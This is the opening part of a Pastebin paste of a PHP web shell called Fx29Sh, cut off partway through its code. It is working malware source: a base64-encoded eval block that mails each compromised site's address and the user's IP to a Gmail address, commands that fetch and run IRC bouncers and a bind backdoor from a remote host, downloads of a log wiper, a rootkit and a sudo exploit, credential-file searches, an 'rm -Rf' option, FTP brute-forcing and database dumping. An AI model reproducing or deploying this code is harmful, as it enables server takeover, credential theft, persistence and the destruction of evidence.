mgknight

Untitled

Feb 20th, 2017
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 160.50 KB | None | 0 0
  1. <?php
  2. #######################################
  3. ## FaTaLisTiCz_Fx Fx29Sh 2.0.09.08 ##
  4. define('sh_ver',"2.0.09.08"); ##
  5. ## By FaTaLisTiCz_Fx ##
  6. ## © 03-09 2008 FeeLCoMz Community ##
  7. ## Written under PHP 5.2.5 ##
  8. #######################################
  9. $sh_name = sh_name(); ##
  10. #######################################
  11. #$sh_mainurl = "http://localhost/FX29SH/";
  12. $sh_mainurl = "http://uaedesign.com/xml/";
  13. $fx29sh_updateurl = $sh_mainurl."fx29sh_update.php";
  14. $fx29sh_sourcesurl = $sh_mainurl."fx29sh.txt";
  15. $sh_sourcez = array(
  16. "Fx29Sh" => array($sh_mainurl."cyberz.txt","fx29sh.php"),
  17. "psyBNC" => array($sh_mainurl."fx.tgz","fx.tgz"),
  18. "Eggdrop" => array($sh_mainurl."fxb.tgz","fxb.tgz"),
  19. "BindDoor" => array($sh_mainurl."bind.tgz","bind.tgz"),
  20. );
  21. ##[ AUTHENTICATION ]##
  22. $auth = array(
  23. "login" => "",
  24. "pass" => "",
  25. "md5pass" => "",
  26. "hostallow" => array("*"),
  27. "denied" => "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied!",
  28. );
  29. ##[ END AUTHENTICATION ]##
  30. $curdir = "./";
  31. $tmpdir = "";
  32. $tmpdir_logs = "./";
  33. $log_email = "";
  34. $sess_cookie = "fx29shcook";
  35. $sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
  36. $sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies.
  37. $usefsbuff = TRUE;
  38. $copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste
  39. $surl_autofill_include = TRUE;
  40. $updatenow = FALSE;
  41. $gzipencode = TRUE;
  42. $filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses.
  43. $hexdump_lines = 8;
  44. $hexdump_rows = 24;
  45. $millink = milw0rm();
  46. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  47. $disablefunc = getdisfunc();
  48. ##[ END OF CONFIGS ]##
  49. error_reporting(E_ERROR | E_PARSE);
  50. @ini_set("max_execution_time",0);
  51. @set_time_limit(0); #No Fx in SafeMode
  52. @ignore_user_abort(TRUE);
  53. @set_magic_quotes_runtime(0);
  54. define("starttime",getmicrotime());
  55. if (get_magic_quotes_gpc()) { strips($GLOBALS); }
  56. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  57. @$f = $_REQUEST["f"];
  58. @extract($_REQUEST["fx29shcook"]);
  59. foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } }
  60. $fxbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIkZ4MjlTaGVsbCBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7DQogICRib2R5ICAgID0gIkJ1ZzogJHRhcmdldCBieSAkdmlzaXRvcjxicj4iOw0KICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJ0cmVtb25lbm9AZ21haWwuY29tIiwkanVkdWwsJGJvZHkpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw=="; eval(base64_decode($fxbuff));
  61. if ($surl_autofill_include) {
  62. $include = "&";
  63. foreach (explode("&",getenv("QUERY_STRING")) as $v) {
  64. $v = explode("=",$v);
  65. $name = urldecode($v[0]);
  66. $value = @urldecode($v[1]);
  67. foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
  68. if (strpos($value,$needle) === 0) {
  69. $includestr .= urlencode($name)."=".urlencode($value)."&";
  70. }
  71. }
  72. }
  73. }
  74. if (empty($surl)) {
  75. $surl = "?".$includestr;
  76. $surl = htmlspecialchars($surl);
  77. }
  78. ## FILE TYPES ##
  79. $ftypes = array(
  80. "html" => array("html","htm","shtml"),
  81. "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  82. "exe" => array("sh","install","bat","cmd"),
  83. "ini" => array("ini","inf","conf"),
  84. "code" => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  85. "img" => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  86. "sdb" => array("sdb"),
  87. "phpsess" => array("sess"),
  88. "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  89. );
  90. $exeftypes = array(
  91. getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  92. "perl %f%" => array("pl","cgi")
  93. );
  94. $regxp_highlight = array(
  95. array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
  96. array("\.tgz$",1,"<font color=#C082FF>","</font>"),
  97. array("\.gz$",1,"<font color=#C082FF>","</font>"),
  98. array("\.tar$",1,"<font color=#C082FF>","</font>"),
  99. array("\.bz2$",1,"<font color=#C082FF>","</font>"),
  100. array("\.zip$",1,"<font color=#C082FF>","</font>"),
  101. array("\.rar$",1,"<font color=#C082FF>","</font>"),
  102. array("\.php$",1,"<font color=#00FF00>","</font>"),
  103. array("\.php3$",1,"<font color=#00FF00>","</font>"),
  104. array("\.php4$",1,"<font color=#00FF00>","</font>"),
  105. array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
  106. array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
  107. array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
  108. array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
  109. array("\.ico$",1,"<font color=#00FFFF>","</font>"),
  110. array("\.gif$",1,"<font color=#00FFFF>","</font>"),
  111. array("\.png$",1,"<font color=#00FFFF>","</font>"),
  112. array("\.htm$",1,"<font color=#00CCFF>","</font>"),
  113. array("\.html$",1,"<font color=#00CCFF>","</font>"),
  114. array("\.txt$",1,"<font color=#C0C0C0>","</font>")
  115. );
  116. ## QUICK COMMANDS ##
  117. if (!$win) {
  118. $cmdaliases = array(
  119. array("", "ls -al"),
  120. array("Find all suid files", "find / -type f -perm -04000 -ls"),
  121. array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
  122. array("Find all sgid files", "find / -type f -perm -02000 -ls"),
  123. array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  124. array("Find config.inc.php files", "find / -type f -name config.inc.php"),
  125. array("Find config* files", "find / -type f -name \"config*\""),
  126. array("Find config* files in current dir", "find . -type f -name \"config*\""),
  127. array("Find all writable folders and files", "find / -perm -2 -ls"),
  128. array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
  129. array("Find all writable folders", "find / -type d -perm -2 -ls"),
  130. array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
  131. array("Find all service.pwd files", "find / -type f -name service.pwd"),
  132. array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
  133. array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
  134. array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  135. array("Find all .bash_history files", "find / -type f -name .bash_history"),
  136. array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
  137. array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  138. array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  139. array("List file attributes on a Linux second extended file system", "lsattr -va"),
  140. array("Show opened ports", "netstat -an | grep -i listen")
  141. );
  142. $cmdaliases2 = array(
  143. array("wget & extract psyBNC","wget ".$sh_mainurl."fx.tgz;tar -zxf fx.tgz"),
  144. array("wget & extract EggDrop","wget ".$sh_mainurl."fxb.tgz;tar -zxf fxb.tgz"),
  145. array("-----",""),
  146. array("Logged in users","w"),
  147. array("Last to connect","lastlog"),
  148. array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
  149. array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
  150. array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
  151. array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
  152. array("CPU Info","cat /proc/version /proc/cpuinfo"),
  153. array("Is gcc installed ?","locate gcc"),
  154. array("Format box (DANGEROUS)","rm -Rf"),
  155. array("-----",""),
  156. array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
  157. array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
  158. array("Run WIPELOGS PT3","./zap2"),
  159. array("-----",""),
  160. array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
  161. array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf bind.tgz;./4877"),
  162. array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
  163. );
  164. }
  165. else {
  166. $cmdaliases = array(
  167. array("", "dir"),
  168. array("Find index.php in current dir", "dir /s /w /b index.php"),
  169. array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
  170. array("Find c99shell in current dir", "find /c \"c99\" *"),
  171. array("Find r57shell in current dir", "find /c \"r57\" *"),
  172. array("Find fx29shell in current dir", "find /c \"fx29\" *"),
  173. array("Show active connections", "netstat -an"),
  174. array("Show running services", "net start"),
  175. array("User accounts", "net user"),
  176. array("Show computers", "net view"),
  177. );
  178. }
  179. ## PHP FILESYSTEM TRICKS (By FaTaLisTiCz_Fx) ##
  180. $phpfsaliases = array(
  181. array("Read File", "read", 1, "File", ""),
  182. array("Write File (PHP5)", "write", 2, "File","Text"),
  183. array("Copy", "copy", 2, "From", "To"),
  184. array("Rename/Move", "rename", 2, "File", "To"),
  185. array("Delete", "delete", 1 ,"File", ""),
  186. array("Make Dir","mkdir", 1, "Dir", ""),
  187. array("Download", "download", 2, "URL", "To"),
  188. array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"),
  189. array("Change Perm (0755)", "chmod", 2, "File", "Perms"),
  190. array("Find Writable Dir", "fwritabledir", 2 ,"Dir"),
  191. array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"),
  192. );
  193. ## QUICK LAUNCH ##
  194. $quicklaunch1 = array(
  195. array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl),
  196. array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"),
  197. array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"),
  198. array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  199. array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"),
  200. array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d")
  201. );
  202. $quicklaunch2 = array(
  203. array("Security Info",$surl."act=security&d=%d"),
  204. array("Processes",$surl."act=processes&d=%d"),
  205. array("MySQL",$surl."act=sql&d=%d"),
  206. array("Eval",$surl."act=eval&d=%d"),
  207. array("Encoder",$surl."act=encoder&d=%d"),
  208. array("Mailer",$surl."act=fxmailer"),
  209. array("milw0rm",$millink),
  210. array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"),
  211. array("Toolz",$surl."act=tools&d=%d"),
  212. array("Kill-Shell",$surl."act=selfremove"),
  213. array("Feedback",$surl."act=feedback"),
  214. array("Update",$surl."act=update"),
  215. array("About",$surl."act=about")
  216. );
  217. if (!$win) {
  218. $quicklaunch2[] = array("<br>FTP-Brute",$surl."act=ftpquickbrute&d=%d");
  219. }
  220. ## HIGHLIGHT CODE ##
  221. $highlight_background = "#C0C0C0";
  222. $highlight_bg = "#FFFFFF";
  223. $highlight_comment = "#6A6A6A";
  224. $highlight_default = "#0000BB";
  225. $highlight_html = "#1300FF";
  226. $highlight_keyword = "#007700";
  227. $highlight_string = "#000000";
  228. ####################
  229. ##[ AUTHENTICATE ]##
  230. ####################
  231. $tmp = array();
  232. foreach ($auth["hostallow"] as $k => $v) {
  233. $tmp[] = str_replace("\\*",".*",preg_quote($v));
  234. }
  235. $s = "!^(".implode("|",$tmp).")$!i";
  236. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
  237. exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
  238. }
  239. if (!empty($auth["login"])) {
  240. if (empty($auth["md5pass"])) { $auth["md5pass"] = md5($auth["pass"]); }
  241. if (($_SERVER["PHP_AUTH_USER"] != $auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"]) != $auth["md5pass"])) {
  242. header("WWW-Authenticate: Basic realm=\"".$sh_name.": Restricted Area\"");
  243. header("HTTP/1.0 401 Unauthorized");
  244. die($auth["denied"]);
  245. }
  246. }
  247. ## END AUTHENTICATE ##
  248.  
  249. if ($act != "img") {
  250. $lastdir = realpath(".");
  251. chdir($curdir);
  252. if ($updatenow) { @ob_clean(); fx29sh_getupdate(1); exit; }
  253. $sess_data = @unserialize($_COOKIE["$sess_cookie"]);
  254. if (!is_array($sess_data)) { $sess_data = array(); }
  255. if (!is_array($sess_data["copy"])) { $sess_data["copy"] = array(); }
  256. if (!is_array($sess_data["cut"])) { $sess_data["cut"] = array(); }
  257. fx29_buff_prepare();
  258. foreach (array("sort","sql_sort") as $v) {
  259. if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  260. if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  261. }
  262. if ($sort_save) {
  263. if (!empty($sort)) {setcookie("sort",$sort);}
  264. if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  265. }
  266. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  267. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  268. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  269. if (!function_exists("mysql_dump")) {
  270. function mysql_dump($set) {
  271. global $sh_ver;
  272. $sock = $set["sock"];
  273. $db = $set["db"];
  274. $print = $set["print"];
  275. $nl2br = $set["nl2br"];
  276. $file = $set["file"];
  277. $add_drop = $set["add_drop"];
  278. $tabs = $set["tabs"];
  279. $onlytabs = $set["onlytabs"];
  280. $ret = array();
  281. $ret["err"] = array();
  282. if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  283. if (empty($db)) {$db = "db";}
  284. if (empty($print)) {$print = 0;}
  285. if (empty($nl2br)) {$nl2br = 0;}
  286. if (empty($add_drop)) {$add_drop = TRUE;}
  287. if (empty($file)) {
  288. $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  289. }
  290. if (!is_array($tabs)) {$tabs = array();}
  291. if (empty($add_drop)) {$add_drop = TRUE;}
  292. if (sizeof($tabs) == 0) {
  293. //Retrieve tables-list
  294. $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  295. if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  296. }
  297. $out = "
  298. # Dumped by ".$sh_name."
  299. #
  300. # Host settings:
  301. # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  302. # Date: ".date("d.m.Y H:i:s")."
  303. # DB: \"".$db."\"
  304. #---------------------------------------------------------";
  305. $c = count($onlytabs);
  306. foreach($tabs as $tab) {
  307. if ((in_array($tab,$onlytabs)) or (!$c)) {
  308. if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  309. //Receieve query for create table structure
  310. $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  311. if (!$res) {$ret["err"][] = mysql_smarterror();}
  312. else {
  313. $row = mysql_fetch_row($res);
  314. $out .= $row["1"].";\n\n";
  315. //Receieve table variables
  316. $res = mysql_query("SELECT * FROM `$tab`", $sock);
  317. if (mysql_num_rows($res) > 0) {
  318. while ($row = mysql_fetch_assoc($res)) {
  319. $keys = implode("`, `", array_keys($row));
  320. $values = array_values($row);
  321. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  322. $values = implode("', '", $values);
  323. $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  324. $out .= $sql;
  325. }
  326. }
  327. }
  328. }
  329. }
  330. $out .= "#---------------------------------------------------------------------------------\n\n";
  331. if ($file) {
  332. $fp = fopen($file, "w");
  333. if (!$fp) {$ret["err"][] = 2;}
  334. else {
  335. fwrite ($fp, $out);
  336. fclose ($fp);
  337. }
  338. }
  339. if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  340. return $out;
  341. }
  342. }
  343. if (!function_exists("mysql_buildwhere")) {
  344. function mysql_buildwhere($array,$sep=" and",$functs=array()) {
  345. if (!is_array($array)) {$array = array();}
  346. $result = "";
  347. foreach($array as $k=>$v) {
  348. $value = "";
  349. if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  350. $value .= "'".addslashes($v)."'";
  351. if (!empty($functs[$k])) {$value .= ")";}
  352. $result .= "`".$k."` = ".$value.$sep;
  353. }
  354. $result = substr($result,0,strlen($result)-strlen($sep));
  355. return $result;
  356. }
  357. }
  358. if (!function_exists("mysql_fetch_all")) {
  359. function mysql_fetch_all($query,$sock) {
  360. if ($sock) {$result = mysql_query($query,$sock);}
  361. else {$result = mysql_query($query);}
  362. $array = array();
  363. while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  364. mysql_free_result($result);
  365. return $array;
  366. }
  367. }
  368. if (!function_exists("mysql_smarterror")) {
  369. function mysql_smarterror($type,$sock) {
  370. if ($sock) {$error = mysql_error($sock);}
  371. else {$error = mysql_error();}
  372. $error = htmlspecialchars($error);
  373. return $error;
  374. }
  375. }
  376. if (!function_exists("mysql_query_form")) {
  377. function mysql_query_form() {
  378. global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  379. if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  380. if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  381. if ((!$submit) or ($sql_act)) {
  382. echo "<table border=0><tr><td><form name=\"fx29sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
  383. if ($tbl_struct) {
  384. echo "<td valign=\"top\"><b>Fields:</b><br>";
  385. foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  386. echo "</td></tr></table>";
  387. }
  388. }
  389. if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  390. }
  391. }
  392. if (!function_exists("mysql_create_db")) {
  393. function mysql_create_db($db,$sock="") {
  394. $sql = "CREATE DATABASE `".addslashes($db)."`;";
  395. if ($sock) {return mysql_query($sql,$sock);}
  396. else {return mysql_query($sql);}
  397. }
  398. }
  399. if (!function_exists("mysql_query_parse")) {
  400. function mysql_query_parse($query) {
  401. $query = trim($query);
  402. $arr = explode (" ",$query);
  403. $types = array(
  404. "SELECT"=>array(3,1),
  405. "SHOW"=>array(2,1),
  406. "DELETE"=>array(1),
  407. "DROP"=>array(1)
  408. );
  409. $result = array();
  410. $op = strtoupper($arr[0]);
  411. if (is_array($types[$op])) {
  412. $result["propertions"] = $types[$op];
  413. $result["query"] = $query;
  414. if ($types[$op] == 2) {
  415. foreach($arr as $k=>$v) {
  416. if (strtoupper($v) == "LIMIT") {
  417. $result["limit"] = $arr[$k+1];
  418. $result["limit"] = explode(",",$result["limit"]);
  419. if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  420. unset($arr[$k],$arr[$k+1]);
  421. }
  422. }
  423. }
  424. }
  425. else {return FALSE;}
  426. }
  427. }
  428. if ($act == "gofile") {
  429. if (is_dir($f)) { $act = "ls"; $d = $f; }
  430. else { $act = "f"; $d = dirname($f); $f = basename($f); }
  431. }
  432. ## HEADERS ##
  433. @ob_start();
  434. @ob_implicit_flush(0);
  435. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  436. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  437. header("Cache-Control: no-store, no-cache, must-revalidate");
  438. header("Cache-Control: post-check=0, pre-check=0", FALSE);
  439. header("Pragma: no-cache");
  440. if (empty($tmpdir)) {
  441. $tmpdir = ini_get("upload_tmp_dir");
  442. if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  443. }
  444. $tmpdir = realpath($tmpdir);
  445. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  446. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  447. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  448. else {$tmpdir_logs = realpath($tmpdir_logs);}
  449. $sort = htmlspecialchars($sort);
  450. if (empty($sort)) {$sort = $sort_default;}
  451. $sort[1] = strtolower($sort[1]);
  452. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  453. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  454. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  455. @ini_set("highlight.bg",$highlight_bg);
  456. @ini_set("highlight.comment",$highlight_comment);
  457. @ini_set("highlight.default",$highlight_default);
  458. @ini_set("highlight.html",$highlight_html);
  459. @ini_set("highlight.keyword",$highlight_keyword);
  460. @ini_set("highlight.string",$highlight_string);
  461. if (!is_array($actbox)) { $actbox = array(); }
  462. $dspact = $act = htmlspecialchars($act);
  463. $disp_fullpath = $ls_arr = $notls = null;
  464. $ud = @urlencode($d);
  465. if (empty($d)) {$d = realpath(".");}
  466. elseif(realpath($d)) {$d = realpath($d);}
  467. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  468. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  469. $d = str_replace("\\\\","\\",$d);
  470. $dispd = htmlspecialchars($d);
  471. $safemode = safemode();
  472. if ($safemode) {
  473. $hsafemode = "<font color=#3366FF><b>SAFE MODE IS ON</b></font>";
  474. $safemodeexecdir = @ini_get("safe_mode_exec_dir");
  475. }
  476. else { $hsafemode = "<font color=#FF9900><b>SAFE MODE IS OFF</b></font>"; }
  477. $v = @ini_get("open_basedir");
  478. if ($v or strtolower($v) == "on") {
  479. $openbasedir = TRUE;
  480. $hopenbasedir = "<font color=red>".$v."</font>";
  481. }
  482. else {
  483. $openbasedir = FALSE;
  484. $hopenbasedir = "<font color=green>OFF (not secure)</font>";
  485. }
  486.  
  487. ##################
  488. ##[ HTML START ]##
  489. ##################
  490. function srv_info($title,$contents) {
  491. echo "<tr><th>$title</th><td>:</td><td>$contents</td></tr>\n";
  492. }
  493. echo htmlhead($hsafemode);
  494. echo "<table id=pagebar>";
  495. echo "<tr><td colspan=2>\n";
  496. echo "<div class=fleft>$hsafemode</div>\n";
  497. echo "<div class=fright>";
  498. echo "IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".@gethostbyname($_SERVER["HTTP_HOST"])."\">".@gethostbyname($_SERVER["HTTP_HOST"])."</a> ".
  499. "You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".$_SERVER["REMOTE_ADDR"]."\">".$_SERVER["REMOTE_ADDR"]."</a> ".
  500. ($win?"Drives: ".disp_drives($d,$surl):"");
  501. echo "</div>\n</td></tr>\n";
  502. echo "<tr><td width=50%>\n";
  503. echo "<table class=info>\n";
  504. srv_info("Software","".$DISP_SERVER_SOFTWARE);
  505. srv_info("Uname",php_uname());
  506. srv_info("User",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : fx29exec("id"));
  507. echo "</table></td>\n".
  508. "<td width=50%>\n";
  509. echo "<table class=info>\n";
  510. srv_info("Freespace",disp_freespace($d));
  511. echo "</table></td></tr>\n";
  512. echo "<tr><td colspan=2>\n";
  513. echo get_status();
  514. echo "</td></tr>\n";
  515. echo "<tr><td colspan=2>\n";
  516. echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."<br>\n" : "";
  517. echo showdisfunc() ? "DisFunc: ".showdisfunc()."\n" : "";
  518. echo "</td></tr>\n";
  519. echo "<tr><td colspan=2 id=mainmenu>\n";
  520. if (count($quicklaunch2) > 0) {
  521. foreach($quicklaunch2 as $item) {
  522. $item[1] = str_replace("%d",urlencode($d),$item[1]);
  523. $item[1] = str_replace("%sort",$sort,$item[1]);
  524. $v = realpath($d."..");
  525. if (empty($v)) {
  526. $a = explode(DIRECTORY_SEPARATOR,$d);
  527. unset($a[count($a)-2]);
  528. $v = join(DIRECTORY_SEPARATOR,$a);
  529. }
  530. $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  531. echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  532. }
  533. }
  534. echo "</td>\n".
  535. "<tr><td colspan=2 id=mainmenu>\n";
  536. if (count($quicklaunch1) > 0) {
  537. foreach($quicklaunch1 as $item) {
  538. $item[1] = str_replace("%d",urlencode($d),$item[1]);
  539. $item[1] = str_replace("%sort",$sort,$item[1]);
  540. $v = realpath($d."..");
  541. if (empty($v)) {
  542. $a = explode(DIRECTORY_SEPARATOR,$d);
  543. unset($a[count($a)-2]);
  544. $v = join(DIRECTORY_SEPARATOR,$a);
  545. }
  546. $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  547. echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  548. }
  549. }
  550. echo "</td></tr>\n<tr><td colspan=2>";
  551. echo "<p class=fleft>\n";
  552. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  553. $i = 0;
  554. foreach($pd as $b) {
  555. $t = ""; $j = 0;
  556. foreach ($e as $r) {
  557. $t.= $r.DIRECTORY_SEPARATOR;
  558. if ($j == $i) { break; }
  559. $j++;
  560. }
  561. echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=yellow>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>\n";
  562. $i++;
  563. }
  564. echo " - ";
  565. if (is_writable($d)) {
  566. $wd = TRUE;
  567. $wdt = "<font color=#00FF00>[OK]</font>";
  568. echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  569. }
  570. else {
  571. $wd = FALSE;
  572. $wdt = "<font color=red>[Read-Only]</font>";
  573. echo "<b>".view_perms_color($d)."</b>";
  574. }
  575. echo "\n</p>\n";
  576. ?>
  577. <div class=fright>
  578. <form method="POST"><input type=hidden name=act value="ls">
  579. Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
  580. </form>
  581. </div>
  582. </td></tr></table>
  583. <?php
  584. /***********************/
  585. /** INFORMATION TABLE **/
  586. /***********************/
  587. echo "<table id=maininfo><tr><td width=\"100%\">\n";
  588. if ($act == "") { $act = $dspact = "ls"; }
  589. if ($act == "sql") {
  590. $sql_surl = $surl."act=sql";
  591. if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  592. if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  593. if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  594. if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  595. if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  596. $sql_surl .= "&";
  597. echo "<h4>Attention! MySQL Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>".
  598. "<table>".
  599. "<tr><td width=\"100%\" colspan=2 class=barheader>";
  600. if ($sql_server) {
